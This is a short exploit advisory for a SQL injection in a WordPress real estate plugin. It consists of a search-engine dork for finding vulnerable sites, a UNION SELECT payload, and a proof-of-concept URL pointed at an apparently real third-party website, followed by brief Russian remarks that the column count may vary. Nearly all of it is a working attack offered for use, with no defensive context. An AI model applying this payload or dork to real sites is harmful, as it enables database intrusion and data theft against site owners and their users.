fs real estate plugin SQL-Inj

# Exploit Title: fs real estate plugin SQL-Inj

# Date: Oct 2, 2012

#Exploit Author: z0mbyak

# Vendor Homepage: find by yourself

# Software Link: find by yourself

# Version: don't know

# Tested in: web

# Dork: inurl:"marker_listings.xml?id"

# Exploit: -2+union+select+version(),2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31--

# PoC:

http://themacnabs.com/wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=-2+union+select+version(),2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31--

P.S. Кол-во колонок может отличаться...

P.P.S. Мб, боян, по wp не работаю)